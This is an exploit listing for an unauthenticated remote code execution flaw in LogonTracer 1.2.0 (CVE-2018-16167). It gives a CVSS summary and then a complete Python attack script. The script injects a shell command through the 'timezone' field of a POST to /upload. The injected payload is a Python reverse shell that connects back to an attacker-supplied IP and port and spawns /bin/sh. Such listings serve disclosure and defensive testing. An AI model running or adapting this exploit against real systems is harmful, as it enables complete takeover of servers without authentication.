LogonTracer 1.2.0 Remote Code Execution (Unauthenticated)

2021.06.03
Credit: g0ldm45k
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated) # Date: 29/05/2021 # Exploit Author: g0ldm45k # Vendor Homepage: https://www.jpcert.or.jp/ # Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0 # Version: 1.2.0 and earlier # Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie) # CVE : CVE-2018-16167 import requests import argparse parser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.') parser.add_argument('aip', type=str, help='Attacker ip') parser.add_argument('aport', type=str, help='Attacker port') parser.add_argument('victimurl', type=str, help='Victim URL minus the path.') args = parser.parse_args() ATTACKER_IP = args.aip ATTACKER_PORT = args.aport PAYLOAD = f"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'" VICTIM_URL = args.victimurl VICTIM_ENDPOINT = "/upload" DATA = { "logtype": "XML", "timezone": f"1;{PAYLOAD};", } print("[!] Sending request... If your terminal hangs, you might have a shell!") requests.post(f"{VICTIM_URL}{VICTIM_ENDPOINT}", data=DATA) print("[*] Done. Did you get what you wanted?")


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